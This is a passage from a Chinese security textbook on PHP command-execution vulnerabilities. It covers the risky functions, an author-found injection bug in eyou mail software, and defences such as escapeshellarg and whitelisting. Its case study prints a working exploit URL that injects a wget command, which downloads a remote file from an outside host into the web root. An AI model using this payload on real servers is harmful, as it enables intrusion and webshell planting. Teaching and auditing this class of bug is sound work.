5.3 命令执行漏洞
代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统或者应用指令(如CMD命令或者bash命令)的漏洞,PHP的命令执行漏洞主要基于一些函数的参数过滤不严导致,可以执行命令的函数有system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),一共七个函数,另外反引号(`)也可以执行命令,不过实际上这种方式也是调用的shell_exec()函数。PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大。
5.3.1 挖掘经验
命令执行漏洞最多出现在包含环境包的应用里,类似于eyou(亿邮)这类产品,直接在系统安装即可启动自带的Web服务和数据库服务,一般这类的产品会有一些额外的小脚本来协助处理日志以及数据库等,Web应用会有比较多的点之间使用system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()等函数执行系统命令来调用这些脚本,用得多了难免就会出现纰漏导致漏洞,这类应用可以直接在代码里搜这几个函数,收获应该会不少。除了这类应用,还有像discuz等应用也有调用外部程序的功能,如数据库导出功能,曾经就出现过命令执行漏洞,因为特征比较明显,所以可以直接搜函数名即可进行漏洞挖掘。
5.3.1.1 命令执行函数
上面我们说到有七个常用函数可以执行命令,包括system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),另外还有反引号(`)也一样可以执行命令,下面我们来看看它们的执行方式。
这些函数里system()、exec()、shell_exec()、passthru()以及反引号(`)是可以直接传入命令并且函数会返回执行结果,比较简单和好理解,其中system()函数会直接回显结果打印输出,不需要echo也可以,我们来用代码举例。测试代码如下:
< ? php
system ( 'whoami' );? >
可以看到执行结果输出了当前WebServer用户,如图5-11所示。
pcntl是PHP的多进程处理扩展,在处理大量任务的情况下会使用到,使用pcntl需要额外安装,它的函数说明如下:
void pcntl_exec ( string $path [ , array $args [ , array $envs ]] )
图 5-11
其中$path为可执行程序路径,如果是Perl或者Bash脚本,则需要在文件头加上#!/bin/bash来标识可执行程序路径,$args表示传递给$path程序的参数,$envs则是执行这个程序的环境变量。
popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了,我们主要关心的是这个。下面我们看看popen()的用法,它需要两个参数,一个是执行的命令,另外一个是指针文件的连接模式,有r和w代表读和写。测试代码如下:
< ? php
popen ( 'whoami >>D : /2.txt' , 'r' );? >
执行完成后可以在D盘根目录看到2.txt这个文件,内容为WebServer用户名。
5.3.1.2 反引号命令执行
上面我们讲到反引号(`)也可以执行命令,它的写法很简单,实际上反引号(`)执行命令是调用的shell_exec()函数,为什么这么说?我们来看一段简单的代码就知道了,代码如下:
< ? php
echo `whoami` ;? >
这段代码正常执行的情况下是会输出当前用户名的,而我们在php.ini里面把PHP安全模式打开一下,再重启下WebServer重新加载PHP配置文件,再执行这段代码的时候,我们会看到下面这个提示:
Warning : shell_exec () [function.shell-exec] : Cannot execute using backquotes in Safe Mode in D : \www\test\1.php on line 2
这个提示说明反引号执行命令的方式是使用的shell_exec()函数。
5.3.1.3 亿邮命令执行漏洞分析
命令执行的漏洞案例还是有很多的,这里挑选笔者自己挖到的比较经典的一个eyou(亿邮)的命令执行漏洞,重点在于漏洞的逻辑,而不在于漏洞的影响力有多大。
漏洞利用在/swfupload/upload_files.php文件,代码如下:
< ? php
//-- 获得 UID , DOMAIN , TOKEN
$uid = $_GET['uid'] ; // 从 GET 中获取 uid 参数
$domain=$_GET['domain'] ; // 从 GET 中获取 domain 参数
$token = $_GET['token'] ;
$POST_MAX_SIZE = ini_get ( 'post_max_size' );
$unit = strtoupper ( substr ( $POST_MAX_SIZE , -1 ));
$multiplier = ( $unit == 'M' ? 1048576 : ( $unit == 'K' ? 1024 : ( $unit == 'G' ? 1073741824 : 1 )));
if (( int ) $_SERVER['CONTENT_LENGTH'] > $multiplier* ( int ) $POST_MAX_SIZE && $POST_MAX_SIZE ) {
header ( "HTTP/1.1 500 Internal Server Error" );
echo "POST exceeded maximum allowed size." ;
exit ( 0 );
}
//-- 获得附件存放路径 存在用户的 token 目录下
$save_path = getUserDirPath ( $uid , $domain ); // 传入 uid 参数到 getUserDirPath ()函数
从代码中可以看出,$uid=$_GET['uid'];表示从GET中获取uid参数,在下面一点将$uid变量传递到了getUserDirPath()函数,跟进该函数,在/inc/function.php文件,代码如下:
function getUserDirPath ( $uid , $domain ) {
$cmd = "/var/eyou/sbin/hashid $uid $domain" ;
$path = `$cmd` ;
$path = trim ( $path );
return $path ;
}
该函数拼接了一条命令:
$cmd = "/var/eyou/sbin/hashid $uid $domain" ;
可以看到$uid和$domain变量都是从GET请求中获取的,最终通过反引号(`)来执行,所以我们可以直接注入命令,最终exp为:
/swfupload/upload_files.php ? uid=|wget+http : //www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain=
表示下载http://www.x.com/1.txt到/var/eyou/apache/htdocs/swfupload/a.php文件。
5.3.2 漏洞防范
关于命令执行漏洞的防范大致有两种方式:一种是使用PHP自带的命令防注入函数,包括escapeshellcmd()和escapeshellarg(),其中escapeshellcmd()是过滤的整条命令,所以它的参数是一整条命令,escapeshellarg()函数则是用来保证传入命令执行函数里面的参数确实是以字符串参数形式存在的,不能被注入。除了使用这两个函数,还有对命令执行函数的参数做白名单限制,下面我们来详细介绍。
5.3.2.1 命令防注入函数
PHP在SQL防注入上有addslashes()和mysql_[real_]escape_string()等函数过滤SQL语句,在命令上也同样有防注入函数,一共有两个escapeshellcmd()和escapeshellarg(),从函数名我们可以看出,escapeshellcmd()是过滤的整条命令,它的函数说明如下:
string escapeshellcmd ( string $command )
输入一个string类型的参数,为要过滤的命令,返回过滤后的string类型的命令,过滤的字符为'&'、';'、'`'、'|'、'*'、'?'、'~'、'<'、'>'、'^'、'('、')'、'['、']'、'{'、'}'、'$'、'\'、'\x0A'、'\xFF'、’%’,'和"仅仅在不成对的时候被转义,我们在Windows环境测试下,测试代码:
< ? php
echo ( escapeshellcmd ( $_GET['cmd'] ));? >
结果如图5-12所示。
可以看到这些字符过滤方式是在这些字符前面加了一个^符号,而在Linux下则是在这些字符前面加了反斜杠(\)。
escapeshellarg()函数的功能则是过滤参数,将参数限制在一对双引号里,确保参数为一个字符串,因此它会把双引号替换为空格,我们来测试一下:
< ? php
echo 'ls '.escapeshellarg ( 'a"' );? >
图 5-12
最终输出为ls"a"
5.3.2.2 参数白名单
参数白名单方式在大多数由于参数过滤不严产生的漏洞中都很好用,是一种通用修复方法,我们之前已经讲过,可以在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在则直接显示错误提示即可,具体的实施代码这里不再重复。